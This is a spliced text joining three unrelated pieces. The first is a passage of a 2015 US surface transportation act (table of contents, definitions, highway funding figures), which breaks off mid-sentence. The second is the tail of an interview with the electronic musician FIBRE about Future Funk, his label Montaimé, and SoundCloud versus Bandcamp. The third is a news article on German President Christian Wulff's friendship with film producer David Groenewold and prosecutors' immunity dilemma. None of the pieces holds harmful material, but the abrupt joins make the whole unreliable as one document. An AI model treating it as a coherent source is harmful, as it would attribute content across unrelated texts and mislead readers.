Apportionments. Sec. 3015. State of good repair grants. Sec. 3016. Authorizations. Sec. 3017. Grants for buses and bus facilities. Sec. 3018. Obligation ceiling. Sec. 3019. Innovative procurement. Sec. 3020. Review of public transportation safety standards. Sec. 3021. Study on evidentiary protection for public transportation safety program information. Sec. 3022. Improved public transportation safety measures. Sec. 3023. Paratransit system under FTA approved coordinated plan. Sec. 3024. Report on potential of Internet of Things. Sec. 3025. Report on parking safety. Sec. 3026. Appointment of directors of Washington Metropolitan Area Transit Authority. Sec. 3027. Effectiveness of public transportation changes and funding. Sec. 3028. Authorization of grants for positive train control. Sec. 3029. Amendment to title 5. Sec. 3030. Technical and conforming changes. TITLE IV--HIGHWAY TRAFFIC SAFETY Sec. 4001. Authorization of appropriations. Sec. 4002. Highway safety programs. Sec. 4003. Highway safety research and development. Sec. 4004. High-visibility enforcement program. Sec. 4005. National priority safety programs. Sec. 4006. Tracking process. Sec. 4007. Stop motorcycle checkpoint funding. Sec. 4008. Marijuana-impaired driving. Sec. 4009. Increasing public awareness of the dangers of drug-impaired driving. Sec. 4010. National priority safety program grant eligibility. Sec. 4011. Data collection. Sec. 4012. Study on the national roadside survey of alcohol and drug use by drivers. Sec. 4013. Barriers to data collection report. Sec. 4014. Technical corrections. Sec. 4015. Effective date for certain programs. TITLE V--MOTOR CARRIER SAFETY Subtitle A--Motor Carrier Safety Grant Consolidation Sec. 5101. Grants to States. Sec. 5102. Performance and registration information systems management. Sec. 5103. Authorization of appropriations. Sec. 5104. Commercial driver's license program implementation. Sec. 5105. Extension of Federal motor carrier safety programs for fiscal year 2016. Sec. 5106. Motor carrier safety assistance program allocation. Sec. 5107. Maintenance of effort calculation. Subtitle B--Federal Motor Carrier Safety Administration Reform Part I--Regulatory Reform Sec. 5201. Notice of cancellation of insurance. Sec. 5202. Regulations. Sec. 5203. Guidance. [[Page 129 STAT. 1315]] Sec. 5204. Petitions. Sec. 5205. Inspector standards. Sec. 5206. Applications. Part II--Compliance, Safety, Accountability Reform Sec. 5221. Correlation study. Sec. 5222. Beyond compliance. Sec. 5223. Data certification. Sec. 5224. Data improvement. Sec. 5225. Accident review. Subtitle C--Commercial Motor Vehicle Safety Sec. 5301. Windshield technology. Sec. 5302. Prioritizing statutory rulemakings. Sec. 5303. Safety reporting system. Sec. 5304. New entrant safety review program. Sec. 5305. High risk carrier reviews. Sec. 5306. Post-accident report review. Sec. 5307. Implementing safety requirements. Subtitle D--Commercial Motor Vehicle Drivers Sec. 5401. Opportunities for veterans. Sec. 5402. Drug-free commercial drivers. Sec. 5403. Medical certification of veterans for commercial driver's licenses. Sec. 5404. Commercial driver pilot program. Subtitle E--General Provisions Sec. 5501. Delays in goods movement. Sec. 5502. Emergency route working group. Sec. 5503. Household goods consumer protection working group. Sec. 5504. Technology improvements. Sec. 5505. Notification regarding motor carrier registration. Sec. 5506. Report on commercial driver's license skills test delays. Sec. 5507. Electronic logging device requirements. Sec. 5508. Technical corrections. Sec. 5509. Minimum financial responsibility. Sec. 5510. Safety study regarding double-decker motorcoaches. Sec. 5511. GAO review of school bus safety. Sec. 5512. Access to National Driver Register. Sec. 5513. Report on design and implementation of wireless roadside inspection systems. Sec. 5514. Regulation of tow truck operations. Sec. 5515. Study on commercial motor vehicle driver commuting. Sec. 5516. Additional State authority. Sec. 5517. Report on motor carrier financial responsibility. Sec. 5518. Covered farm vehicles. Sec. 5519. Operators of hi-rail vehicles. Sec. 5520. Automobile transporter. Sec. 5521. Ready mix concrete delivery vehicles. Sec. 5522. Transportation of construction materials and equipment. Sec. 5523. Commercial delivery of light- and medium-duty trailers. Sec. 5524. Exemptions from requirements for certain welding trucks used in pipeline industry. Sec. 5525. Report. TITLE VI--INNOVATION Sec. 6001. Short title. Sec. 6002. Authorization of appropriations. Sec. 6003. Technology and innovation deployment program. Sec. 6004. Advanced transportation and congestion management technologies deployment. Sec. 6005. Intelligent transportation system goals. Sec. 6006. Intelligent transportation system purposes. Sec. 6007. Intelligent transportation system program report. Sec. 6008. Intelligent transportation system national architecture and standards. Sec. 6009. Communication systems deployment report. Sec. 6010. Infrastructure development. Sec. 6011. Departmental research programs. Sec. 6012. Research and Innovative Technology Administration. Sec. 6013. Web-based training for emergency responders. [[Page 129 STAT. 1316]] Sec. 6014. Hazardous materials research and development. Sec. 6015. Office of Intermodalism. Sec. 6016. University transportation centers. Sec. 6017. Bureau of Transportation Statistics. Sec. 6018. Port performance freight statistics program. Sec. 6019. Research planning. Sec. 6020. Surface transportation system funding alternatives. Sec. 6021. Future interstate study. Sec. 6022. Highway efficiency. Sec. 6023. Transportation technology policy working group. Sec. 6024. Collaboration and support. Sec. 6025. GAO report. Sec. 6026. Traffic congestion. Sec. 6027. Smart cities transportation planning study. Sec. 6028. Performance management data support program. TITLE VII--HAZARDOUS MATERIALS TRANSPORTATION Sec. 7001. Short title. Subtitle A--Authorizations Sec. 7101. Authorization of appropriations. Subtitle B--Hazardous Material Safety and Improvement Sec. 7201. National emergency and disaster response. Sec. 7202. Motor carrier safety permits. Sec. 7203. Improving the effectiveness of planning and training grants. Sec. 7204. Improving publication of special permits and approvals. Sec. 7205. Enhanced reporting. Sec. 7206. Wetlines. Sec. 7207. GAO study on acceptance of classification examinations. Sec. 7208. Hazardous materials endorsement exemption. Subtitle C--Safe Transportation of Flammable Liquids by Rail Sec. 7301. Community safety grants. Sec. 7302. Real-time emergency response information. Sec. 7303. Emergency response. Sec. 7304. Phase-out of all tank cars used to transport Class 3 flammable liquids. Sec. 7305. Thermal blankets. Sec. 7306. Minimum requirements for top fittings protection for class DOT-117R tank cars. Sec. 7307. Rulemaking on oil spill response plans. Sec. 7308. Modification reporting. Sec. 7309. Report on crude oil characteristics research study. Sec. 7310. Hazardous materials by rail liability study. Sec. 7311. Study and testing of electronically controlled pneumatic brakes. TITLE VIII--MULTIMODAL FREIGHT TRANSPORTATION Sec. 8001. Multimodal freight transportation. TITLE IX--NATIONAL SURFACE TRANSPORTATION AND INNOVATIVE FINANCE BUREAU Sec. 9001. National Surface Transportation and Innovative Finance Bureau. Sec. 9002. Council on Credit and Finance. TITLE X--SPORT FISH RESTORATION AND RECREATIONAL BOATING SAFETY Sec. 10001. Allocations. Sec. 10002. Recreational boating safety. TITLE XI--RAIL Sec. 11001. Short title. Subtitle A--Authorizations Sec. 11101. Authorization of grants to Amtrak. Sec. 11102. Consolidated rail infrastructure and safety improvements. Sec. 11103. Federal-State partnership for state of good repair. Sec. 11104. Restoration and enhancement grants. Sec. 11105. Authorization of appropriations for Amtrak Office of Inspector General. Sec. 11106. Definitions. [[Page 129 STAT. 1317]] Subtitle B--Amtrak Reforms Sec. 11201. Accounts. Sec. 11202. Amtrak grant process. Sec. 11203. 5-year business line and asset plans. Sec. 11204. State-supported route committee. Sec. 11205. Composition of Amtrak's Board of Directors. Sec. 11206. Route and service planning decisions. Sec. 11207. Food and beverage reform. Sec. 11208. Rolling stock purchases. Sec. 11209. Local products and promotional events. Sec. 11210. Amtrak pilot program for passengers transporting domesticated cats and dogs. Sec. 11211. Right-of-way leveraging. Sec. 11212. Station development. Sec. 11213. Amtrak boarding procedures. Sec. 11214. Amtrak debt. Sec. 11215. Elimination of duplicative reporting. Subtitle C--Intercity Passenger Rail Policy Sec. 11301. Consolidated rail infrastructure and safety improvements. Sec. 11302. Federal-State partnership for state of good repair. Sec. 11303. Restoration and enhancement grants. Sec. 11304. Gulf Coast rail service working group. Sec. 11305. Northeast Corridor Commission. Sec. 11306. Northeast corridor planning. Sec. 11307. Competition. Sec. 11308. Performance-based proposals. Sec. 11309. Large capital project requirements. Sec. 11310. Small business participation study. Sec. 11311. Shared-use study. Sec. 11312. Northeast Corridor through-ticketing and procurement efficiencies. Sec. 11313. Data and analysis. Sec. 11314. Amtrak Inspector General. Sec. 11315. Miscellaneous provisions. Sec. 11316. Technical and conforming amendments. Subtitle D--Safety Sec. 11401. Highway-rail grade crossing safety. Sec. 11402. Private highway-rail grade crossings. Sec. 11403. Study on use of locomotive horns at highway-rail grade crossings. Sec. 11404. Positive train control at grade crossings effectiveness study. Sec. 11405. Bridge inspection reports. Sec. 11406. Speed limit action plans. Sec. 11407. Alerters. Sec. 11408. Signal protection. Sec. 11409. Commuter rail track inspections. Sec. 11410. Post-accident assessment. Sec. 11411. Recording devices. Sec. 11412. Railroad police officers. Sec. 11413. Repair and replacement of damaged track inspection equipment. Sec. 11414. Report on vertical track deflection. Sec. 11415. Rail passenger liability. Subtitle E--Project Delivery Sec. 11501. Short title. Sec. 11502. Treatment of improvements to rail and transit under preservation requirements. Sec. 11503. Efficient environmental reviews. Sec. 11504. Railroad rights-of-way. Subtitle F--Financing Sec. 11601. Short title; references. Sec. 11602. Definitions. Sec. 11603. Eligible applicants. Sec. 11604. Eligible purposes. Sec. 11605. Program administration. Sec. 11606. Loan terms and repayment. Sec. 11607. Credit risk premiums. Sec. 11608. Master credit agreements. Sec. 11609. Priorities and conditions. [[Page 129 STAT. 1318]] Sec. 11610. Savings provisions. Sec. 11611. Report on leveraging RRIF. DIVISION B--COMPREHENSIVE TRANSPORTATION AND CONSUMER PROTECTION ACT OF 2015 TITLE XXIV--MOTOR VEHICLE SAFETY Subtitle A--Vehicle Safety Sec. 24101. Authorization of appropriations. Sec. 24102. Inspector general recommendations. Sec. 24103. Improvements in availability of recall information. Sec. 24104. Recall process. Sec. 24105. Pilot grant program for state notification to consumers of motor vehicle recall status. Sec. 24106. Recall obligations under bankruptcy. Sec. 24107. Dealer requirement to check for open recall. Sec. 24108. Extension of time period for remedy of tire defects. Sec. 24109. Rental car safety. Sec. 24110. Increase in civil penalties for violations of motor vehicle safety. Sec. 24111. Electronic odometer disclosures. Sec. 24112. Corporate responsibility for NHTSA reports. Sec. 24113. Direct vehicle notification of recalls. Sec. 24114. Unattended children warning. Sec. 24115. Tire pressure monitoring system. Sec. 24116. Information regarding components involved in recall. Subtitle B--Research And Development And Vehicle Electronics Sec. 24201. Report on operations of the council for vehicle electronics, vehicle software, and emerging technologies. Sec. 24202. Cooperation with foreign governments. Subtitle C--Miscellaneous Provisions Part I--DRIVER PRIVACY ACT OF 2015 Sec. 24301. Short title. Sec. 24302. Limitations on data retrieval from vehicle event data recorders. Sec. 24303. Vehicle event data recorder study. Part II--SAFETY THROUGH INFORMED CONSUMERS ACT OF 2015 Sec. 24321. Short title. Sec. 24322. Passenger motor vehicle information. Part III--TIRE EFFICIENCY, SAFETY, AND REGISTRATION ACT OF 2015 Sec. 24331. Short title. Sec. 24332. Tire fuel efficiency minimum performance standards. Sec. 24333. Tire registration by independent sellers. Sec. 24334. Tire identification study and report. Sec. 24335. Tire recall database. Part IV--ALTERNATIVE FUEL VEHICLES Sec. 24341. Regulatory parity for natural gas vehicles. Part V--MOTOR VEHICLE SAFETY WHISTLEBLOWER ACT Sec. 24351. Short title. Sec. 24352. Motor vehicle safety whistleblower incentives and protections. Subtitle D--Additional Motor Vehicle Provisions Sec. 24401. Required reporting of NHTSA agenda. Sec. 24402. Application of remedies for defects and noncompliance. Sec. 24403. Retention of safety records by manufacturers. Sec. 24404. Nonapplication of prohibitions relating to noncomplying motor vehicles to vehicles used for testing or evaluation. Sec. 24405. Treatment of low-volume manufacturers. Sec. 24406. Motor vehicle safety guidelines. Sec. 24407. Improvement of data collection on child occupants in vehicle crashes. DIVISION C--FINANCE TITLE XXXI--HIGHWAY TRUST FUND AND RELATED TAXES Subtitle A--Extension of Trust Fund Expenditure Authority and Related Taxes Sec. 31101. Extension of Highway Trust Fund expenditure authority. [[Page 129 STAT. 1319]] Sec. 31102. Extension of highway-related taxes. Subtitle B--Additional Transfers to Highway Trust Fund Sec. 31201. Further additional transfers to trust fund. Sec. 31202. Transfer to Highway Trust Fund of certain motor vehicle safety penalties. Sec. 31203. Appropriation from Leaking Underground Storage Tank Trust Fund. TITLE XXXII--OFFSETS Subtitle A--Tax Provisions Sec. 32101. Revocation or denial of passport in case of certain unpaid taxes. Sec. 32102. Reform of rules relating to qualified tax collection contracts. Sec. 32103. Special compliance personnel program. Sec. 32104. Repeal of modification of automatic extension of return due date for certain employee benefit plans. Subtitle B--Fees and Receipts Sec. 32201. Adjustment for inflation of fees for certain customs services. Sec. 32202. Limitation on surplus funds of Federal reserve banks. Sec. 32203. Dividends of Federal reserve banks. Sec. 32204. Strategic Petroleum Reserve drawdown and sale. Sec. 32205. Repeal. Subtitle C--Outlays Sec. 32301. Interest on overpayment. Subtitle D--Budgetary Effects Sec. 32401. Budgetary effects. DIVISION D--MISCELLANEOUS TITLE XLI--FEDERAL PERMITTING IMPROVEMENT Sec. 41001. Definitions. Sec. 41002. Federal Permitting Improvement Council. Sec. 41003. Permitting process improvement. Sec. 41004. Interstate compacts. Sec. 41005. Coordination of required reviews. Sec. 41006. Delegated State permitting programs. Sec. 41007. Litigation, judicial review, and savings provision. Sec. 41008. Reports. Sec. 41009. Funding for governance, oversight, and processing of environmental reviews and permits. Sec. 41010. Application. Sec. 41011. GAO Report. Sec. 41012. Savings provision. Sec. 41013. Sunset. Sec. 41014. Placement. TITLE XLII--ADDITIONAL PROVISIONS Sec. 42001. GAO report on refunds to registered vendors of kerosene used in noncommercial aviation. TITLE XLIII--PAYMENTS TO CERTIFIED STATES AND INDIAN TRIBES Sec. 43001. Payments from Abandoned Mine Reclamation Fund. DIVISION E--EXPORT-IMPORT BANK OF THE UNITED STATES Sec. 50001. Short title. TITLE LI--TAXPAYER PROTECTION PROVISIONS AND INCREASED ACCOUNTABILITY Sec. 51001. Reduction in authorized amount of outstanding loans, guarantees, and insurance. Sec. 51002. Increase in loss reserves. Sec. 51003. Review of fraud controls. Sec. 51004. Office of Ethics. Sec. 51005. Chief Risk Officer. Sec. 51006. Risk Management Committee. Sec. 51007. Independent audit of bank portfolio. [[Page 129 STAT. 1320]] Sec. 51008. Pilot program for reinsurance. TITLE LII--PROMOTION OF SMALL BUSINESS EXPORTS Sec. 52001. Increase in small business lending requirements. Sec. 52002. Report on programs for small- and medium-sized businesses. TITLE LIII--MODERNIZATION OF OPERATIONS Sec. 53001. Electronic payments and documents. Sec. 53002. Reauthorization of information technology updating. TITLE LIV--GENERAL PROVISIONS Sec. 54001. Extension of authority. Sec. 54002. Certain updated loan terms and amounts. TITLE LV--OTHER MATTERS Sec. 55001. Prohibition on discrimination based on industry. Sec. 55002. Negotiations to end export credit financing. Sec. 55003. Study of financing for information and communications technology systems. DIVISION F--ENERGY SECURITY Sec. 61001. Emergency preparedness for energy supply disruptions. Sec. 61002. Resolving environmental and grid reliability conflicts. Sec. 61003. Critical electric infrastructure security. Sec. 61004. Strategic Transformer Reserve. Sec. 61005. Energy security valuation. DIVISION G--FINANCIAL SERVICES TITLE LXXI--IMPROVING ACCESS TO CAPITAL FOR EMERGING GROWTH COMPANIES Sec. 71001. Filing requirement for public filing prior to public offering. Sec. 71002. Grace period for change of status of emerging growth companies. Sec. 71003. Simplified disclosure requirements for emerging growth companies. TITLE LXXII--DISCLOSURE MODERNIZATION AND SIMPLIFICATION Sec. 72001. Summary page for form 10-K. Sec. 72002. Improvement of regulation S-K. Sec. 72003. Study on modernization and simplification of regulation S-K. TITLE LXXIII--BULLION AND COLLECTIBLE COIN PRODUCTION EFFICIENCY AND COST SAVINGS Sec. 73001. Technical corrections. Sec. 73002. American Eagle Silver Bullion 30th Anniversary. TITLE LXXIV--SBIC ADVISERS RELIEF Sec. 74001. Advisers of SBICs and venture capital funds. Sec. 74002. Advisers of SBICs and private funds. Sec. 74003. Relationship to State law. TITLE LXXV--ELIMINATE PRIVACY NOTICE CONFUSION Sec. 75001. Exception to annual privacy notice requirement under the Gramm-Leach-Bliley Act. TITLE LXXVI--REFORMING ACCESS FOR INVESTMENTS IN STARTUP ENTERPRISES Sec. 76001. Exempted transactions. TITLE LXXVII--PRESERVATION ENHANCEMENT AND SAVINGS OPPORTUNITY Sec. 77001. Distributions and residual receipts. Sec. 77002. Future refinancings. Sec. 77003. Implementation. TITLE LXXVIII--TENANT INCOME VERIFICATION RELIEF Sec. 78001. Reviews of family incomes. TITLE LXXIX--HOUSING ASSISTANCE EFFICIENCY Sec. 79001. Authority to administer rental assistance. [[Page 129 STAT. 1321]] Sec. 79002. Reallocation of funds. TITLE LXXX--CHILD SUPPORT ASSISTANCE Sec. 80001. Requests for consumer reports by State or local child support enforcement agencies. TITLE LXXXI--PRIVATE INVESTMENT IN HOUSING Sec. 81001. Budget-neutral demonstration program for energy and water conservation improvements at multifamily residential units. TITLE LXXXII--CAPITAL ACCESS FOR SMALL COMMUNITY FINANCIAL INSTITUTIONS Sec. 82001. Privately insured credit unions authorized to become members of a Federal home loan bank. Sec. 82002. GAO Report. TITLE LXXXIII--SMALL BANK EXAM CYCLE REFORM Sec. 83001. Smaller institutions qualifying for 18-month examination cycle. TITLE LXXXIV--SMALL COMPANY SIMPLE REGISTRATION Sec. 84001. Forward incorporation by reference for Form S-1. TITLE LXXXV--HOLDING COMPANY REGISTRATION THRESHOLD EQUALIZATION Sec. 85001. Registration threshold for savings and loan holding companies. TITLE LXXXVI--REPEAL OF INDEMNIFICATION REQUIREMENTS Sec. 86001. Repeal. TITLE LXXXVII--TREATMENT OF DEBT OR EQUITY INSTRUMENTS OF SMALLER INSTITUTIONS Sec. 87001. Date for determining consolidated assets. TITLE LXXXVIII--STATE LICENSING EFFICIENCY Sec. 88001. Short title. Sec. 88002. Background checks. TITLE LXXXIX--HELPING EXPAND LENDING PRACTICES IN RURAL COMMUNITIES Sec. 89001. Short title. Sec. 89002. Designation of rural area. Sec. 89003. Operations in rural areas. DIVISION A--SURFACE TRANSPORTATION SEC. 1001. <<NOTE: 23 USC 101 note.>> DEFINITIONS. In this division, the following definitions apply: (1) Department.--The term ``Department'' means the Department of Transportation. (2) Secretary.--The term ``Secretary'' means the Secretary of Transportation. SEC. 1002. RECONCILIATION OF FUNDS. The Secretary shall reduce the amount apportioned or allocated for a program, project, or activity under titles I and VI of this Act in fiscal year 2016 by amounts apportioned or allocated pursuant to any extension Act of MAP-21, including the amendments made by that extension Act, during the period beginning on October 1, 2015, and ending on the date of enactment of this Act. For purposes of making such reductions, funds set aside pursuant to section 133(h) of title 23, United States Code, as amended by [[Page 129 STAT. 1322]] this Act, shall be reduced by the amount set aside pursuant to section 213 of such title, as in effect on the day before the date of enactment of this Act. SEC. 1003. <<NOTE: 5 USC 5313 note.>> EFFECTIVE DATE. Except as otherwise provided, this division, including the amendments made by this division, takes effect on October 1, 2015. SEC. 1004. <<NOTE: 1 USC 1 note.>> REFERENCES. Except as expressly provided otherwise, any reference to ``this Act'' contained in this division shall be treated as referring only to the provisions of this division. TITLE I--FEDERAL-AID HIGHWAYS Subtitle A--Authorizations and Programs SEC. 1101. AUTHORIZATION OF APPROPRIATIONS. (a) In General.--The following sums are authorized to be appropriated out of the Highway Trust Fund (other than the Mass Transit Account): (1) Federal-aid highway program.--For the national highway performance program under section 119 of title 23, United States Code, the surface transportation block grant program under section 133 of that title, the highway safety improvement program under section 148 of that title, the congestion mitigation and air quality improvement program under section 149 of that title, the national highway freight program under section 167 of that title, and to carry out section 134 of that title-- (A) $39,727,500,000 for fiscal year 2016; (B) $40,547,805,000 for fiscal year 2017; (C) $41,424,020,075 for fiscal year 2018; (D) $42,358,903,696 for fiscal year 2019; and (E) $43,373,294,311 for fiscal year 2020. (2) Transportation infrastructure finance and innovation program.--For credit assistance under the transportation infrastructure finance and innovation program under chapter 6 of title 23, United States Code-- (A) $275,000,000 for fiscal year 2016; (B) $275,000,000 for fiscal year 2017; (C) $285,000,000 for fiscal year 2018; (D) $300,000,000 for fiscal year 2019; and (E) $300,000,000 for fiscal year 2020. (3) Federal lands and tribal transportation programs.-- (A) Tribal transportation program.--For the tribal transportation program under section 202 of title 23, United States Code-- (i) $465,000,000 for fiscal year 2016; (ii) $475,000,000 for fiscal year 2017; (iii) $485,000,000 for fiscal year 2018; (iv) $495,000,000 for fiscal year 2019; and (v) $505,000,000 for fiscal year 2020. (B) Federal lands transportation program.-- [[Page 129 STAT. 1323]] (i) In general.--For the Federal lands transportation program under section 203 of title 23, United States Code-- (I) $335,000,000 for fiscal year 2016; (II) $345,000,000 for fiscal year 2017; (III) $355,000,000 for fiscal year 2018; (IV) $365,000,000 for fiscal year 2019; and (V) $375,000,000 for fiscal year 2020. (ii) Allocation.--Of the amount made available for a fiscal year under clause (i)-- (I) the amount for the National Park Service is-- (aa) $268,000,000 for fiscal year 2016; (bb) $276,000,000 for fiscal year 2017; (cc) $284,000,000 for fiscal year 2018; (dd) $292,000,000 for fiscal year 2019; and (ee) $300,000,000 for fiscal year 2020. (II) the amount for the United States Fish and Wildlife Service is $30,000,000 for each of fiscal years 2016 through 2020; and (III) the amount for the United States Forest Service is-- (aa) $15,000,000 for fiscal year 2016; (bb) $16,000,000 for fiscal year 2017; (cc) $17,000,000 for fiscal year 2018; (dd) $18,000,000 for fiscal year 2019; and (ee) $19,000,000 for fiscal year 2020. (C) Federal lands access program.--For the Federal lands access program under section 204 of title 23, United States Code-- (i) $250,000,000 for fiscal year 2016; (ii) $255,000,000 for fiscal year 2017; (iii) $260,000,000 for fiscal year 2018; (iv) $265,000,000 for fiscal year 2019; and (v) $270,000,000 for fiscal year 2020. (4) Territorial and puerto rico highway program.--For the territorial and Puerto Rico highway program under section 165 of title 23, United States Code, $200,000,000 for each of fiscal years 2016 through 2020. (5) Nationally significant freight and highway projects.-- For nationally significant freight and highway projects under section 117 of title 23, United States Code-- (A) $800,000,000 for fiscal year 2016; (B) $850,000,000 for fiscal year 2017; (C) $900,000,000 for fiscal year 2018; (D) $950,000,000 for fiscal year 2019; and (E) $1,000,000,000 for fiscal year 2020. (b) <<NOTE: 23 USC 101 note.>> Disadvantaged Business Enterprises.-- (1) Findings.--Congress finds that-- (A) while significant progress has occurred due to the establishment of the disadvantaged business enterprise program, discrimination and related barriers continue to pose significant obstacles for minority- and women-owned businesses seeking to do business in federally assisted surface transportation markets across the United States; [[Page 129 STAT. 1324]] (B) the continuing barriers described in subparagraph (A) merit the continuation of the disadvantaged business enterprise program; (C) Congress has received and reviewed testimony and documentation of race and gender discrimination from numerous sources, including congressional hearings and roundtables, scientific reports, reports issued by public and private agencies, news stories, reports of discrimination by organizations and individuals, and discrimination lawsuits, which show that race- and gender-neutral efforts alone are insufficient to address the problem; (D) the testimony and documentation described in subparagraph (C) demonstrate that discrimination across the United States poses a barrier to full and fair participation in surface transportation-related businesses of women business owners and minority business owners and has impacted firm development and many aspects of surface transportation-related business in the public and private markets; and (E) the testimony and documentation described in subparagraph (C) provide a strong basis that there |
House scene where I met my first internet music friends, and then I expanded into Future Funk after a year and a half.
That’s where I really saw my music taking off and I continued evolving my sound. I have a hiphop side project, but it’s not really worth linking as I don’t take it very seriously at this point anymore.
The project that I’ve been working on is a French Touch label that’s going to be started up very soon. It’s called Montaimé and I’m hoping that it’s going to be featuring some really fantastic music in the future.
It’s still a work in progress and I can’t talk about whose slated to be on, but it’s definitely something that I’ve been investing a lot of my time into that is going to be a safe haven for artists releasing music in this scene.
FS: Do you think Soundcloud is on its last legs?
FI: That’s one of the things that I’m going to be focusing on and Montaimé will be focusing on. In 2016, it’s pretty impossible to not have a Soundcloud account for your major projects but expansion is also key. I’ll be planning to be doing a lot more expansion into BandCamp and distribution platforms that we all know and love.
As for Soundcloud being on its last legs…? Again, only time will tell. We know that as a company, Soundcloud loses more money than it makes, and I feel that their attempts to generate net gain have appeared sellout-y because they’re desperate.
Monetization as an OnSoundcloud partner generates close to literally nothing; you are better off monetizing on something such as YouTube, and Soundcloud Go turned off many major tracks that caused people to hate Soundcloud even more. As for BandCamp, they are constantly expanding and allow for better user-artist interactions without bodacious fees. It also allows people to be more likely to buy an artist’s music, which is a fairly big deal.
BandCamp takes a fair cut, and everyone is happy. Their business model is a lot more user-friendly than Soundcloud, who is just trying to make money to keep the company alive. Although its understandable, it will probably suffer immensely if they don’t do something that will keep everyone pleased with their services.
FS: Lastly, what’s your opinion on this Daft Punk and The Weeknd collaboration that’s supposed to be going down?
FI: I talked about this with some friends – 2012 me would probably be screaming. But after RAM I haven’t really liked the stuff Daft Punk has been doing, it’s just not my overall style. I’ll keep an eye out for it but unfortunately my expectations are pretty low. That’s all I can say, I don’t feel too strongly about it.
FS: Random Access Memories was definitely a wildcard. Rumors are though that they are gravitating towards an R&B styled album.
Thank you FIBRE for chatting with us! Make sure to follow his social medias below and check out his other tracks in the Soundcloud widget as well:
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SoundcloudNowadays, being seen as a friend of the German president can be awkward, exhausting and even dangerous. David Groenewold, 38, a film producer, networker and party animal, was truly a close friend of President Christian Wulff for a number of years. Acquaintances of the Berlin-based businessman say that he sat down a few weeks ago and wrote out a list of incidents that could prove to be uncomfortable for him or Wulff.
There are 12 items on the list. For Groenewold, the most worrisome incident appeared to be the short vacation he spent with Wulff and his wife on the island of Sylt from Oct. 31 to Nov. 3, 2007, because he had no receipts as documentation. All he remembered was that he had paid for the Wulffs' suite in the Hotel Stadt Hamburg with his credit card, at 258 ($343) a night. Groenewold called the hotel to ask for a copy of the bill, but the staff was uncooperative at first.
Groenewold drove to Sylt to resolve the matter. The hotel's executive secretary gave him the copies, at which point he jokingly asked, in front of two other employees, whether it might not be possible to tear the page documenting Wulff's visit out of the guest register. Everyone had a good laugh, says Groenewold's acquaintance.
Last week, a different version of Groenewold's intervention on the island of Sylt appeared in the German tabloid Bild. According to the hotel records, the film producer called the hotel on Jan. 16 and requested that it release "no information" about him and the fact that he had paid the Wulff's hotel bill to curious members of the media. A to-do list addressed to staff members includes the following instruction: "So if Bild or Spiegel calls, we don't know anything!" When Bild asked Wulff's attorney who paid for the vacation, he replied: "Mr. Wulff reimbursed Mr. Groenewold for the disbursed costs of his stay on the premises of the Hotel Stadt Hamburg." The payment was allegedly made in cash.
Blessed with Friendships
Whenever the scandals surrounding the former governor and current president seemed to peter out in recent weeks, a new incident from the life of Christian Wulff, who seems blessed with many good friendships, came to light. Many of the stories are not significant enough to get public prosecutors in the northern German city of Hanover hot under the collar. Groenewold had paid for a number of things in advance and, as he says, his friend Wulff had reimbursed him in cash. But the trip to Sylt has caught the attention of prosecutors, because only a few months separated the granting of a 4 million ($5.3 million) guarantee by the state of Lower Saxony, of which Wulff was governor from 2003 to 2010, for the benefit of a film company in which Groenewold's production company had held a 50 percent share, and the vacation.
The public prosecutor's office, which the public, politicians and some criminal law professors have accused for weeks of being inactive in the Wulff case, sees something new in this "chronological proximity." Last week, Germany narrowly avoided a political scandal that would have been unprecedented in its history: the launch of a preliminary investigation into the president.
The public prosecutor's office would probably have launched the proceedings if the case had involved an ordinary government official; the initial suspicion that Wulff may have accepted a benefit would have been sufficient grounds for an investigation. But the president lives and works in a sphere that is protected by the German constitution, and is therefore off-limits to the prosecution. As long as he continues to enjoy immunity, no public prosecutor's office can investigate him, question witnesses, request files or seize documents. It can only use publicly accessible sources, which includes watching television and reading newspapers.
Should prosecutors file a petition for the repeal of the president's immunity with the German parliament, the Bundestag, purely on the basis of newspaper articles? This is what the fathers of the constitution had intended, but it's also likely that they didn't anticipate what sort of a politician would one day assume Germany's highest-ranking office.
Caught in a Dilemma
The head of the corruption division of the Hanover public prosecutor's office has been in his position for 15 years. He has rarely felt as uncomfortable as he does today. He is not interested in publicity, and he insists that journalists promise not to publish his name. But last week he felt a need to discuss the matter and solicit sympathy for his plight. More than 100 citizens have submitted complaints. The gist of their argument is that any civil servant in the country would have been charged with accepting benefits or bribery by now.
Indeed, if a case involved the suspicion that, say, the director of a local zoning office had accepted a bribe from a developer, the prosecutor's office could discreetly look at evidence related to the two individuals. It could examine order books, check account statements and trace cash transactions -- and if the pieces of the puzzle produced an overall picture that reinforced the suspicions, prosecutors could also question witnesses or petition for search warrants.
It ought to be possible to conduct an unbiased preliminary investigation, but that isn't an option when it comes to Germany's head of state. The prosecutors in the corruption division, two men and two women, feel caught in a classic dilemma. If they do nothing, they will be accused of dealing too lightly with the highest-ranking politician in the country. If they petition for the repeal of his immunity but end up finding no relevant evidence during their investigations, they could very well have ruined Wulff's career and compromised the office of the president.
The corruption investigators debated long and hard last week -- and finally decided to do nothing for the moment. On Tuesday, the Hanover public prosecutor's office told the news agency DPA that they had still not reached a decision on whether to petition for a lifting of Wulff's immunity, but that they were looking into the matter with "great seriousness."
Happy to Oblige
It would be difficult, however, to refute Wulff's and Groenewold's claims that they liked to settle their debts in cash. There is also no question that they trust each other, or that the film producer would put up a few hundred euros in advance to cover Wulff's expenses.
Groenewold and Wulff met in the central German city of Goslar in 2003, during the filming of a TV drama called "Das Wunder von Lengede" (known in English as "A Light in Dark Places"). The film executive, whom acquaintances describe as popular and charismatic, introduced the aloof politician to the glamorous world of stars and starlets. Wulff took the bait and was soon supporting legislation to protect tax benefits for investors in film funds. Groenewold even visited the governor's office in January 2006, to campaign for special fiscal treatment for his investment model.
When Groenewold describes his relationship with Wulff to friends, he tells them the story of a time when he was terribly lovesick. A fashion model to whom he had been engaged left him shortly before the wedding, an incident that Groenewold says caused him to lose 15 kilograms (33 pounds). Wulff, he says, was always there for him during this difficult period. He also spent many weekends with Wulff's associate Olaf Glaeseker.
Conversely, his good friend Groenewold was, of course, happy to oblige when Wulff wanted to make confidential phone calls. Groenewold got him a mobile phone. On Oct. 26, 2005, the two friends even signed an agreement, which SPIEGEL has obtained. It reads: "David Groenewold conveys to Wulff the Nokia mobile phone/SIM card with the phone number XXXXX (SIM card) for use in return for a fee." Groenewold says that Wulff returned the mobile phone after a few months and paid him what he owed -- in cash, of course.
The lending of the mobile phone was another of the 12 items on Groenewold's list. However, it's unlikely that prosecutors will be interested in the phone. The government officials are, however, paying great attention to the way the state government in Lower Saxony is trying to contain the damage in the scandal.
A Burden for His Party
